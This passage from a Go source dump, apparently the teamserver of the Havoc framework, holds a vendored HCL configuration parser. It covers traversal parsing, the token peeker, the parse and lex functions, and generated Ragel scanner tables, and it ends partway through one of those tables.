"github.com/zclconf/go-cty/cty" ) // ParseTraversalAbs parses an absolute traversal that is assumed to consume // all of the remaining tokens in the peeker. The usual parser recovery // behavior is not supported here because traversals are not expected to // be parsed as part of a larger program. func (p *parser) ParseTraversalAbs() (hcl.Traversal, hcl.Diagnostics) { var ret hcl.Traversal var diags hcl.Diagnostics // Absolute traversal must always begin with a variable name varTok := p.Read() if varTok.Type != TokenIdent { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Variable name required", Detail: "Must begin with a variable name.", Subject: &varTok.Range, }) return ret, diags } varName := string(varTok.Bytes) ret = append(ret, hcl.TraverseRoot{ Name: varName, SrcRange: varTok.Range, }) for { next := p.Peek() if next.Type == TokenEOF { return ret, diags } switch next.Type { case TokenDot: // Attribute access dot := p.Read() // eat dot nameTok := p.Read() if nameTok.Type != TokenIdent { if nameTok.Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Splat expressions (.*) may not be used here.", Subject: &nameTok.Range, Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Dot must be followed by attribute name.", Subject: &nameTok.Range, Context: hcl.RangeBetween(varTok.Range, nameTok.Range).Ptr(), }) } return ret, diags } attrName := string(nameTok.Bytes) ret = append(ret, hcl.TraverseAttr{ Name: attrName, SrcRange: hcl.RangeBetween(dot.Range, nameTok.Range), }) case TokenOBrack: // Index open := p.Read() // eat open bracket next := p.Peek() switch next.Type { case TokenNumberLit: tok := p.Read() // eat number numVal, numDiags := p.numberLitValue(tok) diags = append(diags, numDiags...) close := p.Read() if close.Type != TokenCBrack { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed index brackets", Detail: "Index key must be followed by a closing bracket.", Subject: &close.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } ret = append(ret, hcl.TraverseIndex{ Key: numVal, SrcRange: hcl.RangeBetween(open.Range, close.Range), }) if diags.HasErrors() { return ret, diags } case TokenOQuote: str, _, strDiags := p.parseQuotedStringLiteral() diags = append(diags, strDiags...) close := p.Read() if close.Type != TokenCBrack { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed index brackets", Detail: "Index key must be followed by a closing bracket.", Subject: &close.Range, Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), }) } ret = append(ret, hcl.TraverseIndex{ Key: cty.StringVal(str), SrcRange: hcl.RangeBetween(open.Range, close.Range), }) if diags.HasErrors() { return ret, diags } default: if next.Type == TokenStar { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute name required", Detail: "Splat expressions ([*]) may not be used here.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Index value required", Detail: "Index brackets must contain either a literal number or a literal string.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) } return ret, diags } default: diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid character", Detail: "Expected an attribute access or an index operator.", Subject: &next.Range, Context: hcl.RangeBetween(varTok.Range, next.Range).Ptr(), }) return ret, diags } } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/peeker.go ================================================ package hclsyntax import ( "bytes" "fmt" "path/filepath" "runtime" "strings" "Havoc/pkg/profile/yaotl" ) // This is set to true at init() time in tests, to enable more useful output // if a stack discipline error is detected. It should not be enabled in // normal mode since there is a performance penalty from accessing the // runtime stack to produce the traces, but could be temporarily set to // true for debugging if desired. var tracePeekerNewlinesStack = false type peeker struct { Tokens Tokens NextIndex int IncludeComments bool IncludeNewlinesStack []bool // used only when tracePeekerNewlinesStack is set newlineStackChanges []peekerNewlineStackChange } // for use in debugging the stack usage only type peekerNewlineStackChange struct { Pushing bool // if false, then popping Frame runtime.Frame Include bool } func newPeeker(tokens Tokens, includeComments bool) *peeker { return &peeker{ Tokens: tokens, IncludeComments: includeComments, IncludeNewlinesStack: []bool{true}, } } func (p *peeker) Peek() Token { ret, _ := p.nextToken() return ret } func (p *peeker) Read() Token { ret, nextIdx := p.nextToken() p.NextIndex = nextIdx return ret } func (p *peeker) NextRange() hcl.Range { return p.Peek().Range } func (p *peeker) PrevRange() hcl.Range { if p.NextIndex == 0 { return p.NextRange() } return p.Tokens[p.NextIndex-1].Range } func (p *peeker) nextToken() (Token, int) { for i := p.NextIndex; i < len(p.Tokens); i++ { tok := p.Tokens[i] switch tok.Type { case TokenComment: if !p.IncludeComments { // Single-line comment tokens, starting with # or //, absorb // the trailing newline that terminates them as part of their // bytes. When we're filtering out comments, we must as a // special case transform these to newline tokens in order // to properly parse newline-terminated block items. if p.includingNewlines() { if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { fakeNewline := Token{ Type: TokenNewline, Bytes: tok.Bytes[len(tok.Bytes)-1 : len(tok.Bytes)], // We use the whole token range as the newline // range, even though that's a little... weird, // because otherwise we'd need to go count // characters again in order to figure out the // column of the newline, and that complexity // isn't justified when ranges of newlines are // so rarely printed anyway. Range: tok.Range, } return fakeNewline, i + 1 } } continue } case TokenNewline: if !p.includingNewlines() { continue } } return tok, i + 1 } // if we fall out here then we'll return the EOF token, and leave // our index pointed off the end of the array so we'll keep // returning EOF in future too. return p.Tokens[len(p.Tokens)-1], len(p.Tokens) } func (p *peeker) includingNewlines() bool { return p.IncludeNewlinesStack[len(p.IncludeNewlinesStack)-1] } func (p *peeker) PushIncludeNewlines(include bool) { if tracePeekerNewlinesStack { // Record who called us so that we can more easily track down any // mismanagement of the stack in the parser. callers := []uintptr{0} runtime.Callers(2, callers) frames := runtime.CallersFrames(callers) frame, _ := frames.Next() p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ true, frame, include, }) } p.IncludeNewlinesStack = append(p.IncludeNewlinesStack, include) } func (p *peeker) PopIncludeNewlines() bool { stack := p.IncludeNewlinesStack remain, ret := stack[:len(stack)-1], stack[len(stack)-1] p.IncludeNewlinesStack = remain if tracePeekerNewlinesStack { // Record who called us so that we can more easily track down any // mismanagement of the stack in the parser. callers := []uintptr{0} runtime.Callers(2, callers) frames := runtime.CallersFrames(callers) frame, _ := frames.Next() p.newlineStackChanges = append(p.newlineStackChanges, peekerNewlineStackChange{ false, frame, ret, }) } return ret } // AssertEmptyNewlinesStack checks if the IncludeNewlinesStack is empty, doing // panicking if it is not. This can be used to catch stack mismanagement that // might otherwise just cause confusing downstream errors. // // This function is a no-op if the stack is empty when called. // // If newlines stack tracing is enabled by setting the global variable // tracePeekerNewlinesStack at init time, a full log of all of the push/pop // calls will be produced to help identify which caller in the parser is // misbehaving. func (p *peeker) AssertEmptyIncludeNewlinesStack() { if len(p.IncludeNewlinesStack) != 1 { // Should never happen; indicates mismanagement of the stack inside // the parser. if p.newlineStackChanges != nil { // only if traceNewlinesStack is enabled above panic(fmt.Errorf( "non-empty IncludeNewlinesStack after parse with %d calls unaccounted for:\n%s", len(p.IncludeNewlinesStack)-1, formatPeekerNewlineStackChanges(p.newlineStackChanges), )) } else { panic(fmt.Errorf("non-empty IncludeNewlinesStack after parse: %#v", p.IncludeNewlinesStack)) } } } func formatPeekerNewlineStackChanges(changes []peekerNewlineStackChange) string { indent := 0 var buf bytes.Buffer for _, change := range changes { funcName := change.Frame.Function if idx := strings.LastIndexByte(funcName, '.'); idx != -1 { funcName = funcName[idx+1:] } filename := change.Frame.File if idx := strings.LastIndexByte(filename, filepath.Separator); idx != -1 { filename = filename[idx+1:] } switch change.Pushing { case true: buf.WriteString(strings.Repeat(" ", indent)) fmt.Fprintf(&buf, "PUSH %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) indent++ case false: indent-- buf.WriteString(strings.Repeat(" ", indent)) fmt.Fprintf(&buf, "POP %#v (%s at %s:%d)\n", change.Include, funcName, filename, change.Frame.Line) } } return buf.String() } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/public.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // ParseConfig parses the given buffer as a whole HCL config file, returning // a *hcl.File representing its contents. If HasErrors called on the returned // diagnostics returns true, the returned body is likely to be incomplete // and should therefore be used with care. // // The body in the returned file has dynamic type *hclsyntax.Body, so callers // may freely type-assert this to get access to the full hclsyntax API in // situations where detailed access is required. However, most common use-cases // should be served using the hcl.Body interface to ensure compatibility with // other configurationg syntaxes, such as JSON. func ParseConfig(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) { tokens, diags := LexConfig(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} body, parseDiags := parser.ParseBody(TokenEOF) diags = append(diags, parseDiags...) // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return &hcl.File{ Body: body, Bytes: src, Nav: navigation{ root: body, }, }, diags } // ParseExpression parses the given buffer as a standalone HCL expression, // returning it as an instance of Expression. func ParseExpression(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { tokens, diags := LexExpression(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} // Bare expressions are always parsed in "ignore newlines" mode, as if // they were wrapped in parentheses. parser.PushIncludeNewlines(false) expr, parseDiags := parser.ParseExpression() diags = append(diags, parseDiags...) next := parser.Peek() if next.Type != TokenEOF && !parser.recovery { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extra characters after expression", Detail: "An expression was successfully parsed, but extra characters were found after it.", Subject: &next.Range, }) } parser.PopIncludeNewlines() // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // ParseTemplate parses the given buffer as a standalone HCL template, // returning it as an instance of Expression. func ParseTemplate(src []byte, filename string, start hcl.Pos) (Expression, hcl.Diagnostics) { tokens, diags := LexTemplate(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} expr, parseDiags := parser.ParseTemplate() diags = append(diags, parseDiags...) // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // ParseTraversalAbs parses the given buffer as a standalone absolute traversal. // // Parsing as a traversal is more limited than parsing as an expression since // it allows only attribute and indexing operations on variables. Traverals // are useful as a syntax for referring to objects without necessarily // evaluating them. func ParseTraversalAbs(src []byte, filename string, start hcl.Pos) (hcl.Traversal, hcl.Diagnostics) { tokens, diags := LexExpression(src, filename, start) peeker := newPeeker(tokens, false) parser := &parser{peeker: peeker} // Bare traverals are always parsed in "ignore newlines" mode, as if // they were wrapped in parentheses. parser.PushIncludeNewlines(false) expr, parseDiags := parser.ParseTraversalAbs() diags = append(diags, parseDiags...) parser.PopIncludeNewlines() // Panic if the parser uses incorrect stack discipline with the peeker's // newlines stack, since otherwise it will produce confusing downstream // errors. peeker.AssertEmptyIncludeNewlinesStack() return expr, diags } // LexConfig performs lexical analysis on the given buffer, treating it as a // whole HCL config file, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexConfig(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { tokens := scanTokens(src, filename, start, scanNormal) diags := checkInvalidTokens(tokens) return tokens, diags } // LexExpression performs lexical analysis on the given buffer, treating it as // a standalone HCL expression, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexExpression(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { // This is actually just the same thing as LexConfig, since configs // and expressions lex in the same way. tokens := scanTokens(src, filename, start, scanNormal) diags := checkInvalidTokens(tokens) return tokens, diags } // LexTemplate performs lexical analysis on the given buffer, treating it as a // standalone HCL template, and returns the resulting tokens. // // Only minimal validation is done during lexical analysis, so the returned // diagnostics may include errors about lexical issues such as bad character // encodings or unrecognized characters, but full parsing is required to // detect _all_ syntax errors. func LexTemplate(src []byte, filename string, start hcl.Pos) (Tokens, hcl.Diagnostics) { tokens := scanTokens(src, filename, start, scanTemplate) diags := checkInvalidTokens(tokens) return tokens, diags } // ValidIdentifier tests if the given string could be a valid identifier in // a native syntax expression. // // This is useful when accepting names from the user that will be used as // variable or attribute names in the scope, to ensure that any name chosen // will be traversable using the variable or attribute traversal syntax. func ValidIdentifier(s string) bool { // This is a kinda-expensive way to do something pretty simple, but it // is easiest to do with our existing scanner-related infrastructure here // and nobody should be validating identifiers in a tight loop. tokens := scanTokens([]byte(s), "", hcl.Pos{}, scanIdentOnly) return len(tokens) == 2 && tokens[0].Type == TokenIdent && tokens[1].Type == TokenEOF } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.go ================================================ //line scan_string_lit.rl:1 package hclsyntax // This file is generated from scan_string_lit.rl. DO NOT EDIT. //line scan_string_lit.go:9 var _hclstrtok_actions []byte = []byte{ 0, 1, 0, 1, 1, 2, 1, 0, } var _hclstrtok_key_offsets []byte = []byte{ 0, 0, 2, 4, 6, 10, 14, 18, 22, 27, 31, 36, 41, 46, 51, 57, 62, 74, 85, 96, 107, 118, 129, 140, 151, } var _hclstrtok_trans_keys []byte = []byte{ 128, 191, 128, 191, 128, 191, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 10, 13, 36, 37, 123, 10, 13, 36, 37, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 10, 13, 36, 37, 92, 123, 10, 13, 36, 37, 92, 88, 0x78, 128, 191, 192, 223, 224, 239, 240, 247, 248, 255, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, 10, 13, 36, 37, 92, 48, 57, 65, 70, 97, 102, } var _hclstrtok_single_lengths []byte = []byte{ 0, 0, 0, 0, 4, 4, 4, 4, 5, 4, 5, 5, 5, 5, 6, 5, 2, 5, 5, 5, 5, 5, 5, 5, 5, } var _hclstrtok_range_lengths []byte = []byte{ 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 3, 3, 3, 3, 3, 3, 3, 3, } var _hclstrtok_index_offsets []byte = []byte{ 0, 0, 2, 4, 6, 11, 16, 21, 26, 32, 37, 43, 49, 55, 61, 68, 74, 82, 91, 100, 109, 118, 127, 136, 145, } var _hclstrtok_indicies []byte = []byte{ 0, 1, 2, 1, 3, 1, 5, 6, 7, 8, 4, 10, 11, 12, 13, 9, 14, 11, 12, 13, 9, 10, 11, 15, 13, 9, 10, 11, 12, 13, 14, 9, 10, 11, 12, 15, 9, 17, 18, 19, 20, 21, 16, 23, 24, 25, 26, 27, 22, 0, 24, 25, 26, 27, 22, 23, 24, 28, 26, 27, 22, 23, 24, 25, 26, 27, 0, 22, 23, 24, 25, 28, 27, 22, 29, 30, 22, 2, 3, 31, 22, 0, 23, 24, 25, 26, 27, 32, 32, 32, 22, 23, 24, 25, 26, 27, 33, 33, 33, 22, 23, 24, 25, 26, 27, 34, 34, 34, 22, 23, 24, 25, 26, 27, 30, 30, 30, 22, 23, 24, 25, 26, 27, 35, 35, 35, 22, 23, 24, 25, 26, 27, 36, 36, 36, 22, 23, 24, 25, 26, 27, 37, 37, 37, 22, 23, 24, 25, 26, 27, 0, 0, 0, 22, } var _hclstrtok_trans_targs []byte = []byte{ 11, 0, 1, 2, 4, 5, 6, 7, 9, 4, 5, 6, 7, 9, 5, 8, 10, 11, 12, 13, 15, 16, 10, 11, 12, 13, 15, 16, 14, 17, 21, 3, 18, 19, 20, 22, 23, 24, } var _hclstrtok_trans_actions []byte = []byte{ 0, 0, 0, 0, 0, 1, 1, 1, 1, 3, 5, 5, 5, 5, 0, 0, 0, 1, 1, 1, 1, 1, 3, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } var _hclstrtok_eof_actions []byte = []byte{ 0, 0, 0, 0, 0, 3, 3, 3, 3, 3, 0, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, } const hclstrtok_start int = 4 const hclstrtok_first_final int = 4 const hclstrtok_error int = 0 const hclstrtok_en_quoted int = 10 const hclstrtok_en_unquoted int = 4 //line scan_string_lit.rl:10 func scanStringLit(data []byte, quoted bool) [][]byte { var ret [][]byte // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 eof := pe var cs int // current state switch { case quoted: cs = hclstrtok_en_quoted default: cs = hclstrtok_en_unquoted } // Make Go compiler happy _ = ts _ = eof /*token := func () { ret = append(ret, data[ts:te]) }*/ //line scan_string_lit.go:154 { } //line scan_string_lit.go:158 { var _klen int var _trans int var _acts int var _nacts uint var _keys int if p == pe { goto _test_eof } if cs == 0 { goto _out } _resume: _keys = int(_hclstrtok_key_offsets[cs]) _trans = int(_hclstrtok_index_offsets[cs]) _klen = int(_hclstrtok_single_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + _klen - 1) for { if _upper < _lower { break } _mid = _lower + ((_upper - _lower) >> 1) switch { case data[p] < _hclstrtok_trans_keys[_mid]: _upper = _mid - 1 case data[p] > _hclstrtok_trans_keys[_mid]: _lower = _mid + 1 default: _trans += int(_mid - int(_keys)) goto _match } } _keys += _klen _trans += _klen } _klen = int(_hclstrtok_range_lengths[cs]) if _klen > 0 { _lower := int(_keys) var _mid int _upper := int(_keys + (_klen << 1) - 2) for { if _upper < _lower { break } _mid = _lower + (((_upper - _lower) >> 1) & ^1) switch { case data[p] < _hclstrtok_trans_keys[_mid]: _upper = _mid - 2 case data[p] > _hclstrtok_trans_keys[_mid+1]: _lower = _mid + 2 default: _trans += int((_mid - int(_keys)) >> 1) goto _match } } _trans += _klen } _match: _trans = int(_hclstrtok_indicies[_trans]) cs = int(_hclstrtok_trans_targs[_trans]) if _hclstrtok_trans_actions[_trans] == 0 { goto _again } _acts = int(_hclstrtok_trans_actions[_trans]) _nacts = uint(_hclstrtok_actions[_acts]) _acts++ for ; _nacts > 0; _nacts-- { _acts++ switch _hclstrtok_actions[_acts-1] { case 0: //line scan_string_lit.rl:40 // If te is behind p then we've skipped over some literal // characters which we must now return. if te < p { ret = append(ret, data[te:p]) } ts = p case 1: //line scan_string_lit.rl:48 te = p ret = append(ret, data[ts:te]) //line scan_string_lit.go:253 } } _again: if cs == 0 { goto _out } p++ if p != pe { goto _resume } _test_eof: { } if p == eof { __acts := _hclstrtok_eof_actions[cs] __nacts := uint(_hclstrtok_actions[__acts]) __acts++ for ; __nacts > 0; __nacts-- { __acts++ switch _hclstrtok_actions[__acts-1] { case 1: //line scan_string_lit.rl:48 te = p ret = append(ret, data[ts:te]) //line scan_string_lit.go:278 } } } _out: { } } //line scan_string_lit.rl:89 if te < p { // Collect any leftover literal characters at the end of the input ret = append(ret, data[te:p]) } // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which should // be impossible (the scanner matches all bytes _somehow_) but we'll // tolerate it and let the caller deal with it. if cs < hclstrtok_first_final { ret = append(ret, data[p:len(data)]) } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/scan_string_lit.rl ================================================ package hclsyntax // This file is generated from scan_string_lit.rl. DO NOT EDIT. %%{ # (except you are actually in scan_string_lit.rl here, so edit away!) machine hclstrtok; write data; }%% func scanStringLit(data []byte, quoted bool) [][]byte { var ret [][]byte %%{ include UnicodeDerived "unicode_derived.rl"; UTF8Cont = 0x80 .. 0xBF; AnyUTF8 = ( 0x00..0x7F | 0xC0..0xDF . UTF8Cont | 0xE0..0xEF . UTF8Cont . UTF8Cont | 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont ); BadUTF8 = any - AnyUTF8; Hex = ('0'..'9' | 'a'..'f' | 'A'..'F'); # Our goal with this patterns is to capture user intent as best as # possible, even if the input is invalid. The caller will then verify # whether each token is valid and generate suitable error messages # if not. UnicodeEscapeShort = "\\u" . Hex{0,4}; UnicodeEscapeLong = "\\U" . Hex{0,8}; UnicodeEscape = (UnicodeEscapeShort | UnicodeEscapeLong); SimpleEscape = "\\" . (AnyUTF8 - ('U'|'u'))?; TemplateEscape = ("$" . ("$" . ("{"?))?) | ("%" . ("%" . ("{"?))?); Newline = ("\r\n" | "\r" | "\n"); action Begin { // If te is behind p then we've skipped over some literal // characters which we must now return. if te < p { ret = append(ret, data[te:p]) } ts = p; } action End { te = p; ret = append(ret, data[ts:te]); } QuotedToken = (UnicodeEscape | SimpleEscape | TemplateEscape | Newline) >Begin %End; UnquotedToken = (TemplateEscape | Newline) >Begin %End; QuotedLiteral = (any - ("\\" | "$" | "%" | "\r" | "\n")); UnquotedLiteral = (any - ("$" | "%" | "\r" | "\n")); quoted := (QuotedToken | QuotedLiteral)**; unquoted := (UnquotedToken | UnquotedLiteral)**; }%% // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 eof := pe var cs int // current state switch { case quoted: cs = hclstrtok_en_quoted default: cs = hclstrtok_en_unquoted } // Make Go compiler happy _ = ts _ = eof /*token := func () { ret = append(ret, data[ts:te]) }*/ %%{ write init nocs; write exec; }%% if te < p { // Collect any leftover literal characters at the end of the input ret = append(ret, data[te:p]) } // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which should // be impossible (the scanner matches all bytes _somehow_) but we'll // tolerate it and let the caller deal with it. if cs < hclstrtok_first_final { ret = append(ret, data[p:len(data)]) } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.go ================================================ //line scan_tokens.rl:1 package hclsyntax import ( "bytes" "Havoc/pkg/profile/yaotl" ) // This file is generated from scan_tokens.rl. DO NOT EDIT. //line scan_tokens.go:15 var _hcltok_actions []byte = []byte{ 0, 1, 0, 1, 1, 1, 3, 1, 4, 1, 7, 1, 8, 1, 9, 1, 10, 1, 11, 1, 12, 1, 13, 1, 14, 1, 15, 1, 16, 1, 17, 1, 18, 1, 19, 1, 20, 1, 23, 1, 24, 1, 25, 1, 26, 1, 27, 1, 28, 1, 29, 1, 30, 1, 31, 1, 32, 1, 35, 1, 36, 1, 37, 1, 38, 1, 39, 1, 40, 1, 41, 1, 42, 1, 43, 1, 44, 1, 47, 1, 48, 1, 49, 1, 50, 1, 51, 1, 52, 1, 53, 1, 56, 1, 57, 1, 58, 1, 59, 1, 60, 1, 61, 1, 62, 1, 63, 1, 64, 1, 65, 1, 66, 1, 67, 1, 68, 1, 69, 1, 70, 1, 71, 1, 72, 1, 73, 1, 74, 1, 75, 1, 76, 1, 77, 1, 78, 1, 79, 1, 80, 1, 81, 1, 82, 1, 83, 1, 84, 1, 85, 2, 0, 14, 2, 0, 25, 2, 0, 29, 2, 0, 37, 2, 0, 41, 2, 1, 2, 2, 4, 5, 2, 4, 6, 2, 4, 21, 2, 4, 22, 2, 4, 33, 2, 4, 34, 2, 4, 45, 2, 4, 46, 2, 4, 54, 2, 4, 55, } var _hcltok_key_offsets []int16 = []int16{ 0, 0, 1, 2, 4, 9, 13, 15, 57, 98, 144, 145, 149, 155, 155, 157, 159, 168, 174, 181, 182, 185, 186, 190, 195, 204, 208, 212, 220, 222, 224, 226, 229, 261, 263, 265, 269, 273, 276, 287, 300, 319, 332, 348, 360, 376, 391, 412, 422, 434, 445, 459, 474, 484, 496, 505, 517, 519, 523, 544, 553, 563, 569, 575, 576, 625, 627, 631, 633, 639, 646, 654, 661, 664, 670, 674, 678, 680, 684, 688, 692, 698, 706, 714, 720, 722, 726, 728, 734, 738, 742, 746, 750, 755, 762, 768, 770, 772, 776, 778, 784, 788, 792, 802, 807, 821, 836, 838, 846, 848, 853, 867, 872, 874, 878, 879, 883, 889, 895, 905, 915, 926, 934, 937, 940, 944, 948, 950, 953, 953, 956, 958, 988, 990, 992, 996, 1001, 1005, 1010, 1012, 1014, 1016, 1025, 1029, 1033, 1039, 1041, 1049, 1057, 1069, 1072, 1078, 1082, 1084, 1088, 1108, 1110, 1112, 1123, 1129, 1131, 1133, 1135, 1139, 1145, 1151, 1153, 1158, 1162, 1164, 1172, 1190, 1230, 1240, 1244, 1246, 1248, 1249, 1253, 1257, 1261, 1265, 1269, 1274, 1278, 1282, 1286, 1288, 1290, 1294, 1304, 1308, 1310, 1314, 1318, 1322, 1335, 1337, 1339, 1343, 1345, 1349, 1351, 1353, 1383, 1387, 1391, 1395, 1398, 1405, 1410, 1421, 1425, 1441, 1455, 1459, 1464, 1468, 1472, 1478, 1480, 1486, 1488, 1492, 1494, 1500, 1505, 1510, 1520, 1522, 1524, 1528, 1532, 1534, 1547, 1549, 1553, 1557, 1565, 1567, 1571, 1573, 1574, 1577, 1582, 1584, 1586, 1590, 1592, 1596, 1602, 1622, 1628, 1634, 1636, 1637, 1647, 1648, 1656, 1663, 1665, 1668, 1670, 1672, 1674, 1679, 1683, 1687, 1692, 1702, 1712, 1716, 1720, 1734, 1760, 1770, 1772, 1774, 1777, 1779, 1782, 1784, 1788, 1790, 1791, 1795, 1797, 1800, 1807, 1815, 1817, 1819, 1823, 1825, 1831, 1842, 1845, 1847, 1851, 1856, 1886, 1891, 1893, 1896, 1901, 1915, 1922, 1936, 1941, 1954, 1958, 1971, 1976, 1994, 1995, 2004, 2008, 2020, 2025, 2032, 2039, 2046, 2048, 2052, 2074, 2079, 2080, 2084, 2086, 2136, 2139, 2150, 2154, 2156, 2162, 2168, 2170, 2175, 2177, 2181, 2183, 2184, 2186, 2188, 2194, 2196, 2198, 2202, 2208, 2221, 2223, 2229, 2233, 2241, 2252, 2260, 2263, 2293, 2299, 2302, 2307, 2309, 2313, 2317, 2321, 2323, 2330, 2332, 2341, 2348, 2356, 2358, 2378, 2390, 2394, 2396, 2414, 2453, 2455, 2459, 2461, 2468, 2472, 2500, 2502, 2504, 2506, 2508, 2511, 2513, 2517, 2521, 2523, 2526, 2528, 2530, 2533, 2535, 2537, 2538, 2540, 2542, 2546, 2550, 2553, 2566, 2568, 2574, 2578, 2580, 2584, 2588, 2602, 2605, 2614, 2616, 2620, 2626, 2626, 2628, 2630, 2639, 2645, 2652, 2653, 2656, 2657, 2661, 2666, 2675, 2679, 2683, 2691, 2693, 2695, 2697, 2700, 2732, 2734, 2736, 2740, 2744, 2747, 2758, 2771, 2790, 2803, 2819, 2831, 2847, 2862, 2883, 2893, 2905, 2916, 2930, 2945, 2955, 2967, 2976, 2988, 2990, 2994, 3015, 3024, 3034, 3040, 3046, 3047, 3096, 3098, 3102, 3104, 3110, 3117, 3125, 3132, 3135, 3141, 3145, 3149, 3151, 3155, 3159, 3163, 3169, 3177, 3185, 3191, 3193, 3197, 3199, 3205, 3209, 3213, 3217, 3221, 3226, 3233, 3239, 3241, 3243, 3247, 3249, 3255, 3259, 3263, 3273, 3278, 3292, 3307, 3309, 3317, 3319, 3324, 3338, 3343, 3345, 3349, 3350, 3354, 3360, 3366, 3376, 3386, 3397, 3405, 3408, 3411, 3415, 3419, 3421, 3424, 3424, 3427, 3429, 3459, 3461, 3463, 3467, 3472, 3476, 3481, 3483, 3485, 3487, 3496, 3500, 3504, 3510, 3512, 3520, 3528, 3540, 3543, 3549, 3553, 3555, 3559, 3579, 3581, 3583, 3594, 3600, 3602, 3604, 3606, 3610, 3616, 3622, 3624, 3629, 3633, 3635, 3643, 3661, 3701, 3711, 3715, 3717, 3719, 3720, 3724, 3728, 3732, 3736, 3740, 3745, 3749, 3753, 3757, 3759, 3761, 3765, 3775, 3779, 3781, 3785, 3789, 3793, 3806, 3808, 3810, 3814, 3816, 3820, 3822, 3824, 3854, 3858, 3862, 3866, 3869, 3876, 3881, 3892, 3896, 3912, 3926, 3930, 3935, 3939, 3943, 3949, 3951, 3957, 3959, 3963, 3965, 3971, 3976, 3981, 3991, 3993, 3995, 3999, 4003, 4005, 4018, 4020, 4024, 4028, 4036, 4038, 4042, 4044, 4045, 4048, 4053, 4055, 4057, 4061, 4063, 4067, 4073, 4093, 4099, 4105, 4107, 4108, 4118, 4119, 4127, 4134, 4136, 4139, 4141, 4143, 4145, 4150, 4154, 4158, 4163, 4173, 4183, 4187, 4191, 4205, 4231, 4241, 4243, 4245, 4248, 4250, 4253, 4255, 4259, 4261, 4262, 4266, 4268, 4270, 4277, 4281, 4288, 4295, 4304, 4320, 4332, 4350, 4361, 4373, 4381, 4399, 4407, 4437, 4440, 4450, 4460, 4472, 4483, 4492, 4505, 4517, 4521, 4527, 4554, 4563, 4566, 4571, 4577, 4582, 4603, 4607, 4613, 4613, 4620, 4629, 4637, 4640, 4644, 4650, 4656, 4659, 4663, 4670, 4676, 4685, 4694, 4698, 4702, 4706, 4710, 4717, 4721, 4725, 4735, 4741, 4745, 4751, 4755, 4758, 4764, 4770, 4782, 4786, 4790, 4800, 4804, 4815, 4817, 4819, 4823, 4835, 4840, 4864, 4868, 4874, 4896, 